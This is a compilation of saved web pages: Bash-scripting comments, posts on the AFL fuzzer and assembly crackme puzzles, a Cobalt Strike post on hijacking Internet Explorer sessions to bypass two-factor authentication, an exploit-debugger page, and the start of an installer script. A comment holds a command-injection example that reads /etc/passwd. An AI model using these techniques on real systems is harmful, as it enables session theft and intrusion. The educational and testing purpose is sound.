Hi,

I just wanted to drop a quick note of thanks here.  
I have this post bookmarked, and refer back to it every time I write a shell
script that’s not ‘single use’.

Thanks for making these tips available\!

Reply

  8. Pingback: How to check the status of script for every 5 min? - The UNIX and Linux Forums
  9. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **D avid Conrad** says:
October 30, 2013 at 6:17 pm

These tips are tremendous and have proved extremely helpful to me. Thank you\!

Reply

  10. <img src='img/4a1f42a59e40446158ce872818a963a3.png' width='30' height='30' /> **m irabilos** says:
December 2, 2013 at 11:29 am

All of these things are not specific to GNU bash, by the way.

Absolutely do not use set -u \(in production, feel free to use it in
testing\). Also, dogmatically applying set -e \(as in Debian\) just leads to
people writing worse scripts; IME it’s better to use explicit error handling
like in C \(and not let newbies write scripts\).

You forgot to mention things like: never use \[ or test, always use \[\[ for
secure string handling \(but still quote the RHS of a comparison because it’s
taken as glob otherwise\).

Reply

    1. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **G unstick** says:
October 1, 2014 at 8:18 pm

Can you point me to a webpage/article explaining why \[\[ is good and \[ is
bad?

Reply

      1. <img src='img/4a1f42a59e40446158ce872818a963a3.png' width='30' height='30' /> **m irabilos** says:
October 2, 2014 at 1:16 pm

15:03⎜«pgas:\#ksh» http://mywiki.wooledge.org/BashFAQ/031

Reply

  11. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **J RW** says:
December 19, 2013 at 2:19 pm

Noclobber doesn’t protect against race conditions in all shells \(see
http://mywiki.wooledge.org/BashFAQ/045\). -e is less than useful since it
doesn’t indicate why the script aborted, or even that it aborted; it just
aborts.

Reply

  12. <img src='img/a73ad583d743a0d6e67e1f599de18bd3.png' width='30' height='30' /> **M atthias Urlichs** says:
January 10, 2014 at 7:58 am

You should use xargs -0r. This prevents running the program with no arguments
when there’s no input, which is almost always not what you want. For instance

find . -name foo\\*bar -print0 | xargs -0 ls -l
will do something quite unexpected when there happens to be no matching file.

Reply

    1. <img src='img/369dff8a2fdbd03c23cf94beee522170.jpg' width='30' height='30' /> **D avid Pashley** says:
January 10, 2014 at 8:29 am

Useful tip. Thank you.

Reply

  13. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **M alc** says:
February 15, 2014 at 11:35 pm

Some excellent tips there, thankyou

Reply

  14. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **M alc** says:
February 15, 2014 at 11:48 pm

Your find/xargs tip is heaps better than my old habit \(xargs -i … “\{\}”\).  
In this example \(ls\): the print0 version has the output sorted so I don’t
have to pipe in to sort with special key spec. Also, all the columns line up:

[code]    Sun Feb 16-10:40:57 mcb@ken007:~/bin/gdata 2154$ find . -type f -print0 | xargs -0 ls -la
    -rw------- 1 mcb mcb  127095 May 16  2012 ./gdata-client-1.0.jar
    -rw------- 1 mcb mcb    1421 May 16  2012 ./gdata-client-meta-1.0.jar
    -rw------- 1 mcb mcb 1039559 May 16  2012 ./gdata-core-1.0.jar
    -rw------- 1 mcb mcb  121296 May 16  2012 ./gdata-docs-3.0.jar
    -rw------- 1 mcb mcb    4554 May 16  2012 ./gdata-docs-meta-3.0.jar
    -rw------- 1 mcb mcb   68596 May 16  2012 ./gdata-media-1.0.jar
    -rw------- 1 mcb mcb   51629 May 16  2012 ./gdata-spreadsheet-3.0.jar
    -rw------- 1 mcb mcb    2427 May 16  2012 ./gdata-spreadsheet-meta-3.0.jar
    -rw-r--r-- 1 mcb mcb  548821 Apr  6  2009 ./google-collect-1.0-rc1.jar
    -rwxr-xr-x 1 mcb mcb 2288505 Feb 16 00:06 ./google-docs-upload-1.4.7.jar
    -rw------- 1 mcb mcb 1648200 Feb 16 09:51 ./guava-11.0.2.jar
    -rw-r--r-- 1 mcb mcb  494975 Oct 19  2011 ./java-mail-1.4.4.jar
    -rw------- 1 mcb mcb   33017 Apr 16  2012 ./jsr305.jar
    Sun Feb 16-10:41:08 mcb@ken007:~/bin/gdata 2155$ find . -type f | xargs -i ls -la "{}"
    -rw------- 1 mcb mcb 51629 May 16  2012 ./gdata-spreadsheet-3.0.jar
    -rw------- 1 mcb mcb 121296 May 16  2012 ./gdata-docs-3.0.jar
    -rw------- 1 mcb mcb 1039559 May 16  2012 ./gdata-core-1.0.jar
    -rw------- 1 mcb mcb 127095 May 16  2012 ./gdata-client-1.0.jar
    -rw------- 1 mcb mcb 33017 Apr 16  2012 ./jsr305.jar
    -rw------- 1 mcb mcb 1648200 Feb 16 09:51 ./guava-11.0.2.jar
    -rw------- 1 mcb mcb 4554 May 16  2012 ./gdata-docs-meta-3.0.jar
    -rw-r--r-- 1 mcb mcb 494975 Oct 19  2011 ./java-mail-1.4.4.jar
    -rw------- 1 mcb mcb 68596 May 16  2012 ./gdata-media-1.0.jar
    -rw-r--r-- 1 mcb mcb 548821 Apr  6  2009 ./google-collect-1.0-rc1.jar
    -rwxr-xr-x 1 mcb mcb 2288505 Feb 16 00:06 ./google-docs-upload-1.4.7.jar
    -rw------- 1 mcb mcb 1421 May 16  2012 ./gdata-client-meta-1.0.jar
    -rw------- 1 mcb mcb 2427 May 16  2012 ./gdata-spreadsheet-meta-3.0.jar
[/code]

Reply

    1. <img src='img/369dff8a2fdbd03c23cf94beee522170.jpg' width='30' height='30' /> **D avid Pashley** says:
February 17, 2014 at 1:05 pm

If you’re using GNU find, you might also find the following useful:

[code]        find . -type f -exec ls -la {} +

[/code]

This effectively does the same thing as the `-print0 | xargs -0`
Reply

  15. Pingback: Linkdump 2014-1 | Natenom´s Blog
  16. <img src='img/e97d59c91c30d56d2142d0c5dba5ed64.jpg' width='30' height='30' /> **R ob** says:
March 18, 2014 at 5:14 am

Awesome post, been doing scripts for awhile and learned a lot from this.
Quality stuff thanks.

Reply

  17. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **M rts** says:
June 10, 2014 at 1:27 pm

Great stuff, thanks for sharing\!

Reply

  18. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **S ven** says:
July 8, 2014 at 6:58 pm

echo is bad. Don’t use it. Instead of echo “$value” use printf “%s” “$value”.
The example with the for loop over “$@” should be fixed.

Reply

    1. <img src='img/369dff8a2fdbd03c23cf94beee522170.jpg' width='30' height='30' /> **D avid Pashley** says:
July 8, 2014 at 7:01 pm

Out of interest, what’s the problem with using echo? What does using printf
fix?

Reply

      1. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **S ven** says:
July 8, 2014 at 7:05 pm

Think of value=”-n”.  
printf “%s\n” “$value” will work as expected.  
echo “$value” will not.

Reply

        1. <img src='img/369dff8a2fdbd03c23cf94beee522170.jpg' width='30' height='30' /> **D avid Pashley** says:
July 8, 2014 at 7:07 pm

You’re quite right. Thank you. I’ll update the article to remove references to
echo.

Reply

  19. <img src='img/4a1f42a59e40446158ce872818a963a3.png' width='30' height='30' /> **m irabilos** says:
July 8, 2014 at 8:17 pm

No, printf\(1\) is bad because it is an external utility and thus slow.

Use the print built-in if you can make use of  
basic Korn shell features, i.e. if you know you  
are running under ksh88, pdksh, mksh, ksh93, MKS ksh.  
Avoid scripting for just POSIX then…

That being said, if you must write for POSIX sh,  
or GNU bash \(slower and less free than Korn Shell\),  
you should indeed prefer printf over echo.

Reply

    1. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **S ven** says:
July 9, 2014 at 8:05 am

printf is not an external utility, it is one of bash’s built-in command. I
don’t know how to check whether it’s built-in for POSIX sh as well, but then
again on most systems bash is linked to sh. Also, for an article like this, I
would personally avoid ksh. It’s too specific.

Reply

    2. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **B ash** says:
July 31, 2014 at 11:47 pm

Printf is a Bash builtin.

$ type -a printf  
printf is a shell builtin  
printf is /usr/bin/printf  
printf is /bin/printf

Reply

  20. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **S hlomo Computer** says:
September 4, 2014 at 7:53 pm

“If you ask rm to delete a non-existent file, it will complain and your script
will terminate. \(You are using -e, right?\) You can fix this by using -f,
which will silently continue if the file didn’t exist.”

WTF.

\#\! /usr/bin/env bash  
set -e  
rm -rf $FOO/$BAR  
\# This will even succeed even if $FOO/$BAR even doesn’t even exist

Reply

    1. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **G unstick** says:
January 19, 2015 at 7:07 am

Exactly this made steam delete all files starting at /  
http://www.pcworld.com/article/2871653/scary-steam-for-linux-bug-erases-all-
the-personal-files-on-your-pc.html  
It even has a \#scary comment associated with the -rf but visibly the
programmer did not realize why it was scary.

So please remove the tip of using “-f” to avoid errors.  
Either unset -e for the rm operation or test first.

I don’t use -e but test return codes instead. My usage of $? can be called as
“intense”.

Reply

      1. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **J ustin** says:
March 3, 2015 at 11:43 am

Or add -u

Reply

  21. Pingback: Fix Gdata-client-1.0.jar Errors - Windows XP, Vista, 7 & 8
  22. Pingback: Fix Gdata-client-meta-1.0.jar Errors - Windows XP, Vista, 7 & 8
  23. Pingback: Fix Gdata-docs-meta-3.0.jar Errors - Windows XP, Vista, 7 & 8
  24. Pingback: Fix Gdata-spreadsheet-3.0.jar Errors - Windows XP, Vista, 7 & 8
  25. Pingback: Fix Gdata-docs-3.0.jar Errors - Windows XP, Vista, 7 & 8
  26. Pingback: Nice tips on creating good shell scripts\! - Raphael AbreuRaphael Abreu
  27. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **A non** says:
January 13, 2015 at 6:19 am

My tip would be to run your code through http://www.shellcheck.net/ and take a
look at the warnings. Like all linters it can be pedantic but nonetheless it
can give fantastic feedback.

Reply

  28. Pingback: Shell Scripts Are Code, Too | Devin Humbert
  29. Pingback: Algunos apuntes sobre Bash | Hello, IT.
  30. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **K evin** says:
February 25, 2015 at 4:47 pm

One problem I have run into using this technique for critical sections occurs
when the file system is full. In this case, the lock file is created, but the
echo command fails to write anything into the lock file, and produces an
error. Now the lock file exists, with 0 length, and there is no mechanism to
clean it up. When the file system is cleaned up and the script runs again, it
will never be able to obtain the lock.

Reply

  31. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **v 6ak** says:
March 2, 2015 at 10:42 am

I know I am commenting an older post, but I think it is still relevant.

First, thank for useful tips.

Seconds, it is a pitty that you do not keep some of your own recommendations
in this article, e.g. «trap “rm -f $lockfile; exit” INT TERM EXIT», «if \[ -e
/home/$user \]; then» and «for file in $\(find /var/www -type f -name
“\*.html”\); do». In all these cases, some spaces can make the script to
behave incorrectly.

In some specific cases, this might have some security implications. For
example, if the attacker can control end of the name of the $lockfile, he can
locate it somewhere in “…/foo /etc” \(space is intentional\). Well, this is
somehow artifical example, some more realistic scenarios will come with
passing find results to some command.

Reply

    1. <img src='img/57d07fa82584b144bd20686f4b45daf9.jpg' width='30' height='30' /> **G unstick** says:
August 4, 2015 at 8:02 am

especially this code has a serious bug: missing quotes  
Try this:  
$ lockfile=”/tmp/lock /tmp/otherfile”  
$ rm $lockfile  
rm: cannot remove ‘/tmp/lock’: No such file or directory  
rm: cannot remove ‘/tmp/otherfile’: No such file or directory  
$ rm “$lockfile”  
rm: cannot remove ‘/tmp/lock /tmp/otherfile’: No such file or directory

A little but important difference. So always quote your values. Simple rule:
there should be no $ in your script without a preceding ”

If you write a $ without ” in front, then put a comment there explaining why
you do that.  
e.g.  
echo “the file is $lockname” \# var is safely inside string  
set $lockname \# split string on whitespace into parameters

Reply

  32. <img src='img/45c4fed977b1f76e4fda55da10cc5f04.jpg' width='30' height='30' /> **j perelli** says:
May 10, 2015 at 3:21 am

Good article\!

One thing to note is that you are not safe to race conditions using any option
that you describe. You need to create some kind of semaphore. Tat can be made
easily with mkdir, that returns -1 if a dir cannot be created. You can use it
like this

if \[ \! mkdir “/tmp/semaphoredir.lock” \] …

It checks if it can create the dir or creates it atomically.

Another way is to use /usr/bin/flock, but it is not guaranteed to be installed
in all systems.

Reply

  33. <img src='img/cee2441ba1a36804b932b265c8511281.jpg' width='30' height='30' /> **s laxma reddy** says:
May 12, 2015 at 7:51 am

Hi,

my issue is :  
\#/etc/init.d/tomcat start ; ls && cat /etc/passwd  
here in the above command i want that script should not accept ; && or | so that i can prevent command line injection.
can you please help in this , this is very important for me. Thanks.

Reply

### Leave a Reply

Your email address will not be published. Required fields are marked \*

Name \*

Email \*

Website

  
+ eight = 15
Comment

Notify me of follow-up comments by email.

Notify me of new posts by email.

##### About me

I'm a geek, as you can probably tell by the contents on this site, but I have
turned my back on the geek life and headed out to explore the world. You can
read more about my adventures at Experimental Nomad

  

##### Recent Tweets

  

##### Recent Comments

  * Gunstick on Writing Robust Bash Shell Scripts
  * AJ Garnello on Dial On Demand with WVDial
  * František Dvořák on Becoming a X.509 Certificate Authority
  * Erik on Phisher aren’t even trying
  * s laxma reddy on Writing Robust Bash Shell Scripts

  

© 2015 David Pashley.com |

Back to Top ↑

<img src='img/12897_g.gif' width='6' height='5' />

  

# lcamtuf's blog: A bit more about american fuzzy lop

**Created:**| _8/6/2014 10:55:42 AM_  
---|---  
**Updated:**| _8/6/2014 10:55:42 AM_  
**Author:**| __  
**Tags:**| _Fuzzer_  
  

# A bit more about american fuzzy lop

<img src='img/Temp2_10435.png' />

  
  
Fuzzing is one of the most powerful strategies for identifying security issues
in real-world software. Unfortunately, it also offers fairly shallow coverage:
it is impractical to exhaustively cycle through all possible inputs, so even
something as simple as setting three separate bytes to a specific value to
reach a chunk of unsafe code can be an insurmountable obstacle to a typical
fuzzer.  
  
There have been numerous attempts to solve this problem by augmenting the
process with additional information about the behavior of the tested code.
These techniques can be divided into three broad groups:

  * **Simple coverage maximization.** This approach boils down to trying to isolate initial test cases that offer diverse code coverage in the targeted application - and them fuzzing them using conventional techniques.
  * **Control flow analysis.** A more sophisticated technique that leverages instrumented binaries to focus the fuzzing efforts on mutations that generate distinctive code paths within the instrumented binary.
  * **Static analysis.** An approach that attempts to reason about potentially interesting states within the tested program and then make educated guesses about the input values that could possibly trigger them. 

The first technique is surprisingly powerful when used to pre-select initial
test cases from a massive corpus of valid data - say, the result of a large-
scale web crawl. Unfortunately, coverage measurements provide only a very
simplistic view of the internal state of the program, making them less suited
for creatively guiding the fuzzing process later on.  
  
The latter two techniques are extremely promising in experimental settings.
That said, in real-world applications, they frequently lead to irreducible
complexity: most of the high-value targets will have a vast number of internal
states and possible execution paths, and deciding which ones are interesting
and substantially different from the rest is an extremely difficult challenge
that, if not solved, usually causes the "smart" fuzzer to perform no better
than a traditional one.  
  
American fuzzy lop tries to find a reasonable middle ground between
sophistication and practical utility. In essence, it's a fuzzer that relies on
a form of Markov chains to detect subtle, local-scale changes to program
control flow without having to perform complex global-scale comparisons
between series of long and winding execution traces - a common failure point
for similar tools.  
  
In almost-plain English, the fuzzer does this by instrumenting every effective
line of C or C++ code \(or any other GCC-supported language\) to record a
tuple in the following format:  
  
`[ID of current code location], [ID of previously-executed code location]`  
  
The ordering information for tuples is discarded; the only signal used by the
fuzzer is the appearance of a previously-unseen tuple in the output dataset.
This method combines the self-limiting nature of simple coverage measurements
with the sensitivity of control flow analysis.  
  
The output from this instrumentation is used as a part of a simple, vaguely
"genetic" algorithm:

  1. Load user-supplied initial test cases into the queue,
  2. Take input file from the queue,
  3. Repeatedly mutate the file using a balanced variety of traditional fuzzing strategies \(see later\),
  4. If any of the generated mutations resulted in a new tuple being recorded by the instrumentation, add mutated output as a new entry in the queue.
  5. Go to 2. 

The discovered test cases are also periodically culled to eliminate ones that
have been made obsolete by more inclusive finds discovered later in the
fuzzing process. Because of this, the fuzzer is useful not only for
identifying crashes, but is exceptionally effective at turning a single valid
input file into a reasonably-sized corpus of interesting test cases that can
be manually investigated for non-crashing problems, or used to stress-test
applications that are harder to instrument or too slow to fuzz efficiently. In
particular, it can be extremely useful for generating small test sets that may
be programatically or manually examined for anomalies in a browser
environment.  
  
\(For a quick demo, click here.\)  
  
Of course, there are countless fuzzer designs that look good on paper, but
fail in real-world applications. I tried to make sure that this is not the
case here: for example, afl can easily tackle targets such as _gzip_ , _xz_ ,
_lzo_ , _libjpeg_ , _libpng_ , _giflib_ , _libtiff_ , or _webp_ \- all with
absolutely no fine-tuning and while running at blazing speeds.  
  
In fact, I spent some time running it on a single machine against _libjpeg_ ,
_giflib_ , and _libpng_ \- some of the most robust best-tested image parsing
libraries out there. So far, the tool found:

  * **CVE-2013-6629:** JPEG SOS component uninitialized memory disclosure in _jpeg6b_ and _libjpeg-turbo_ ,
  * **CVE-2013-6630:** JPEG DHT uninitialized memory disclosure in _libjpeg-turbo_ ,
  * **MSRC 0380191:** A separate JPEG DHT uninitialized memory disclosure in Internet Explorer \(pending with vendor\),
  * **Mozilla bug \#1045977:** Uninitialized memory disclosure via GIF images in Firefox \(pending with vendor\),
  * **Chromium bug \#398235:** Probable library-related JPEG security issue in Chrome \(pending\),
  * PNG zlib API misuse bug in MSIE \(DoS-only\),
  * Several browser-crashing images in WebKit browsers \(DoS-only\). 

In other words, you should probably try it out. The most significant
limitation today is that the current fuzzing strategies are optimized for
binary files; the fuzzer does:

  * Walking bitflips - 1, 2, and 4 bits,
  * Walking byte flips - 1, 2, and 4 bytes,
  * Walking addition and subtraction of small integers - byte, word, dword \(both endians\),
  * Walking insertion of interesting integers \(-1, MAX\_INT, etc\) - byte, word, dword \(both endians\),
  * Random stacked flips, arithmetics, block cloning, insertion, deletion, etc,
  * Random splicing of synthetized test cases - pretty unique\! 

All these strategies have been specifically selected for an optimal balance
between fuzzing cost and yields measured in terms of the number of discovered
execution paths with binary formats; for highly-redundant text-based formats
such as HTML or XML, syntax-aware strategies \(template- or ABNF-based\) will
obviously yield better results. Plugging them into AFL would not be hard, but
requires work.

# Vikram and Neha: Fun with Assembly Language

**Created:**| _9/18/2011 8:02:26 AM_  
---|---  
**Updated:**| _9/18/2011 8:02:26 AM_  
**Author:**| __  
**Tags:**| _asm LOLZ_  
  

###  Fun with Assembly Language

This is a quick page about my adventures with Linux assembly language, with
links to resources, and some source code.  
  

## Why?

I won't fool you into thinking that assembly language is a useful tool: it
isn't. By and large, if you want to get stuff done, you're much better off
learning Python, C or Java. Assembly language is great if you're a tinkerer,
and want to know what is going on inside your computer. Many people have
written interesting tiny programs using assembly, which might be handy on
embedded environments. Finally, there are some features that you can only get
through assembly: low-level architecture features, getting around compiler
limitations and understanding languages themselves. For me, assembly is _just
for fun_\!  
  

## Resources

I do all my programming on Linux, and it is one of the best environments to
learn assembly. The tools are quite good, and there is some lovely
documentation. If you don't already have Linux, get a copy of Knoppix, which
is a live CD that lets you try out Linux without modifying your computer
setup. Here is a list of books that I highly recommend.  

  1. \[PGU\] - Programming From the Ground Up, by Jonathan Bartlett: an excellent introduction to x86 assembly language on Linux. The entire book is free for download. This one book is all you need, initially. 
  2. \[PAL\] - Professional Assembly Language: another excellent introduction. 
  3. \[IPM\] - Intel Programming Manuals: complete, in-depth information on architecture and assembly language. You're probably interested in Vol 1, 2A, 2B, 3A and 3B. It is meant as a reference: not a cover-to-cover read. 
  4. \[APM\] - AMD x86-64 Programming Manuals: complete, in-depth information from AMD. Get all the volumes. 

## Fun with Assembly

So you got yourself a copy of \[PGU\], and want a challenge?  

  1. We try to rewrite the first program from \[PGU\] as 01\_exitValue.s. The expected return value is 999, but you get something else. 
    1. Can you guess what the return value is without running the program? 
    2. Can you explain why the return value is not 999? 
    3. Can you write the program so that this problem can be caught by the assembler? 
    4. 01\_exitValue\_Solution.s. 
  2. We try to rewrite the second program from \[PGU\], using our understanding from the earlier problem, as 02\_maximumValue.s. The expected return value is 214, but you get something else. 
    1. Can you guess what the return value is without running the program? 
    2. Can you explain why the return value is not 214? 
    3. Can you write the program so that this problem can be caught by the assembler? 
    4. 02\_maximumValue\_Solution.s. 
  3. Here's an example for why you might _need_ assembly language. Your mission is breaking into a program to steal a secret key. Some experienced hackers have isolated where the secret key is being passed to a secret function. 
    1. `secretFunction(char *useless, char *secret_key)` calls `validate()` immediately upon starting. You job is to print secret\_key inside `validate`. As an example, the file 03\_keyIsHere.o contains the secret function that has the second argument as a key. You are only allowed to write a validate\(\) method in a separate .s or .c file. Try not to modify the original object file. You are assured that the key is exactly 13 characters long. Try writing an assembly solution, and compile and run with `gcc 03_keyIsHere_Solution.s 03_keyIsHere.o -o 03_keyIsHere; ./03_keyIsHere `
    2. If the validate was called in the end, how does it change your solution? 
    3. Can you use this trick to guess the local variables of `secretFunction`? 
    4. In case the object file doesn't work for you, 03\_keyIsHere.c contains the C source. The solution must not modify it. 
    5. 03\_keyIsHere\_Solution.s Compile and run with `gcc 03_keyIsHere_Solution.s 03_keyIsHere.c -o 03_keyIsHere; ./03_keyIsHere `
  4. This is a more sophisticated example compared to the previous one. Having moved on in your career, you are faced with a new program that calls printf, and you have to inject code without a recompilation. The program 04\_crackMe executes happily on its own. You know that printf is being called in it, and that on the first invocation, the calling function has a secret-key as its second parameter. 
    1. `secretFunction(char *useless, char *secret_key)` calls `printf()` immediately upon starting. You job is to print secret\_key. Most probably, you'll want to inject code into printf. The solution does not require modifying the original binary. You are assured that the key is exactly 13 characters long. 
    2. Can you do this while continuing to print the original messages? 
    3. In case the object file doesn't work for you, 04\_crackMe.c contains the C source. Compile and run with `gcc 04_crackMe.c -o 04_crackMe; ./04_crackMe `. Remember that the solution does not require modifying the 04\_crackMe binary or the C source code. 
    4. 04\_crackMe\_Solution.s. Instructions on how to run it are inside the solution. 
    5. Sufficiently pleased? Good, now carry it over to the next level by visiting this awesome page on making 13 equal to 17. 

Labels: hacking Posted by Vikram Aggarwal

Email This BlogThis\! Share to Twitter Share to Facebook

# Toby 'qubit' Cubitt - Emacs Code

**Created:**| _3/3/2010 4:08:52 PM_  
---|---  
**Updated:**| _3/3/2010 4:09:02 PM_  
**Author:**| __  
**Tags:**| _bookmark programming Emacs_  
  

This page contains the Emacs lisp packages I develop and maintain \(see below
for more detailed descriptions\):

Warning\! The latest version of the Predictive Completion package
significantly breaks compatibility with dictionaries created using previous
versions \(0.22.x and earlier\). Read the `INSTALL` and `WARNING` files
included with the package before upgrading.

  * <img src='img/Temp2_8410.gif' /> Predictive Completion package
  * <img src='img/Temp2_8409.gif' /> Undo-Tree package
  * <img src='img/Temp2_8410.gif' /> Completion UI package
  * <img src='img/Temp2_8410.gif' /> Automatic Overlays package
  * <img src='img/Temp2_8409.gif' /> heap.el \(heap data structure\)
  * <img src='img/Temp2_8409.gif' /> queue.el \(queue data structure\)
  * <img src='img/Temp2_8409.gif' /> avl-tree.el \(AVL tree data structure\)
  * <img src='img/Temp2_8409.gif' /> tNFA.el \(tagged non-deterministic finite state automata\)
  * <img src='img/Temp2_8409.gif' /> trie.el \(trie data structure\)
  * <img src='img/Temp2_8409.gif' /> dict-tree.el \(dictionary data structure\)

# Browser Pivoting \(Get past two-factor auth\) | Strategic Cyber LLC
**Created:**| _10/3/2013 7:53:02 PM_  
---|---  
**Updated:**| _10/3/2013 7:53:02 PM_  
**Author:**| __  
**Tags:**| _web-app-sec browser_  
  

# **B** rowser Pivoting \(Get past two-factor auth****\)

September 26, 2013

Several months ago, I was asked if I had a way to get past two-factor
authentication on web applications**.** Criminals do it , but penetration
testers don’t**.** To solve this problem, I built a man-in-the-browser
capability for penetration testers and red teams. I call it browser pivoting
**.**

A browser pivot  is an HTTP proxy server that injects into a 32-bit Internet
Explorer process**.** By browsing through this proxy server, I can reach any
website my target logged into–as them**.** If the target logs into their web
mail, I’m logged into their web mail**.** If they send sap stories to their
ex-girlfriend on Facebook, I read them**.** If they use DropBox’s website to
store and manage files, I’ll download the best ones**.** If they’re connected
to an intranet portal site; I’m there too**.**

<img src='img/Temp2_1144.png' alt='inaction' />

### How it Works****

Internet Explorer’s architecture  makes Browser Pivoting possible**.**
Internet Explorer is an application that consumes several libraries**.**
WinINet  is the library Internet Explorer uses to communicate**.** The WinINet
API is popular with malware developers because it allows them to request
content from a URL with very little code**.** WinINet is more than a high-
level HTTP library built on top of Windows sockets**.** WinINet manages a lot
of state for the applications that use it**.**

<img src='img/Temp2_1146.png' alt='iearchitecture' />

I became familiar with WinINet during Beacon ‘s development**.** I tried to
use the Cookie header to send information**.** I was baffled when this cookie
kept coming back blank**.** I didn’t know this at the time, but WinINet
removed my cookie to insert the cookie from its store into my request**.** I
had to set a INTERNET\_FLAG\_NO\_COOKIES  flag before I could programmatically
send my cookie**.**

Cookies aren’t the only thing WinINet forces into a request**.** WinINet will
also retransmit “credential material” which includes a previously provided
username/password or client SSL certificate**.** If WinINet is communicating
with a site in the Intranet Zone \(and the user’s settings permit it\);
WinINet will automatically try to logon with the user’s default
credentials**.** The WinINet consumer must set the
INTERNET\_OPTION\_SUPPRESS\_SERVER\_AUTH  flag to disable this behavior**.**

WinINet is the layer that manages Internet Explorer’s cache, history, cookies,
HTTP authentication, and SSL session state**.** Inheriting this managed state
isn’t a bug–it’s a feature**.**

A browser pivot is an HTTP proxy server that fulfills requests with
WinINet**.** The process this proxy server lives in is important**.** If I
inject this proxy server into notepad.exe, I don’t get anything
interesting**.**

<img src='img/Temp2_1145.png' alt='browserpivoting' />

Magic happens when I inject _**\[0\]**_ this proxy server into the Internet
Explorer process _**\[1\]**_**.** I inherit Internet Explorer’s WinINet state
with each request**.** If a user’s web session is secured with a stored
cookie, session cookie, HTTP authentication, or client SSL certificate–I can
use that session with a browser pivot _**\[2\]**_**.**

Two-factor authentication is a non-issue at this point too**.** WinINet
doesn’t care about how this session state was obtained**.** It just uses it.

#### Notes****

_**\[0\]** Several people have asked about this mysterious process injection
thing I refer to**.** The Browser Pivot proxy server is compiled as a
Reflective DLL **.** I use the Metasploit Framework’s
post/windows/manage/reflective\_dll\_inject module to inject this DLL into a
process I choose**.**_

_**\[1\]** There’s one nuance to this: Modern versions of Internet Explorer
isolate each tab in a separate process**.** In this case, the parent Internet
Explorer process does not have access to WinINet state**.** The processes
associated with a tab share WinINet state with the other tab processes**.** If
you inject into Internet Explorer 10, make sure you inject into a child tab’s
process**.**_

_**\[2\]** WinINet session state is good until the user closes the
browser**.** If the user closes their browser–the proxy server goes away and
the attacker must inject into another process**.** How to keep session
state–even after the browser closes, is not part of this work**.** _

### How to Use It****

Browser Pivoting  is available in today’s Cobalt Strike  update**.** Go to
**\[host\]** -> **Meterpreter** -> **Explore** -> **Browser Pivot****.**
Choose the process to inject into. Press Launch. Cobalt Strike will setup the
browser pivot and start a port forward through Meterpreter for you**.** Setup
your browser to go through the browser pivot and have at it**.**

Here’s a demo of Browser Pivoting in action:

To keep this blog post sane, I had to skip a lot of details**.** If you find
Browser Pivoting interesting, you can learn more about it at DerbyCon **.**
I’m speaking on the technology at 2pm on Saturday**.** _\[Update 1 Oct 13 - I
spoke on the technology..**.** here's the video \]_

If you’d like to try Browser Pivoting today, grab a 21-day trial of Cobalt
Strike **.** Licensed users may get the latest with the built-in update
program **.**

### Share this**** :

Posted in Cobalt Strike  **|**

****

# http://www.tkeetch.co.uk/

**Created:**| _8/9/2009 3:55:17 PM_  
---|---  
**Updated:**| _8/9/2009 3:55:41 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security security tools Exploit_  
  

# Tom Keetch's \(rather lacklustre\) Homepage

This is my homepage, it's still "under construction" and will probably always
be.

## _Current Project_

### \!Exploit - "BangExploit" - Win32 Debugger for Exploit Development

This debugger will integrate with a fuzzer to aid the rapid development of
exploits.

It will:  
\* Determine the exploitability of an exception.  
\* Determine which registers are directly attacker controlled.  
\* Locate Modules missing exploit prevention measures \(ASLR, SafeSEH, DEP\).  
\* Detect corruption of the Structured Exception Handling chain.  
\* Locate return addresses which will cause execution to flow to your payload.  
\* Identify RWX regions in memory.

#### **Download:**

**Source code here.  
Binaries here.**

#### **Example:**

1\) Start your target process

2\) Start BangExploit.exe and attach to the target process.  
<img src='img/Temp2_10326.jpg' />

3\) Start the fuzzer.

4\) Fuzz...  
<img src='img/Temp2_10327.jpg' />

5\) Profit\!

#### **Fuzzer Interface:**

There are just two methods on the library;  _GetBuffer_\(\) and
_SetBuffer_\(\).

_SetBuffer_ informs the debugger what the fuzzer's input will be to the
application on that cycle. The debugger will compare this buffer with the
contents of registers and memory to try and determine to what extend that
buffer can influence the crash.  
 _GetBuffer_ causes the supplied buffer to be filled with a sequence of bytes
that can be used as part of the fuzzer's input data. This data has the
property that every possible 4-byte block is unique. This can be used as part
of the fuzzer's input buffer.

BangExploitTestApp shows how a fuzzer can integrate with BangExploit using the
supplied static library.

0x6FFF0000

# cygwin package cmdline installer

**Created:**| _9/19/2009 11:23:07 PM_  
---|---  
**Updated:**| _9/19/2009 11:23:31 PM_  
**Author:**| __  
**Tags:**| _setup windows commandline-kungfu_  
  
\#\!/bin/bash

  

\# apt-cyg: install tool for cygwin similar to debian apt-get

\#

\# Copyright \(C\) 2005, 2006 Stephen Jungels

\#

\# This program is free software; you can redistribute it and/or

\# modify it under the terms of the GNU General Public License

\# as published by the Free Software Foundation; either version 2

\# of the License, or \(at your option\) any later version.

\#

\# This program is distributed in the hope that it will be useful,

\# but WITHOUT ANY WARRANTY; without even the implied warranty of

\# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

\# GNU General Public License for more details.

\#

\# \(http://www.fsf.org/licensing/licenses/gpl.html\)

  

\# this script requires some packages

  

WGET=\`which wget 2> /dev/null\`

BZIP2=\`which bzip2 2> /dev/null\`

TAR=\`which tar 2> /dev/null\`

GAWK=\`which awk 2> /dev/null\`

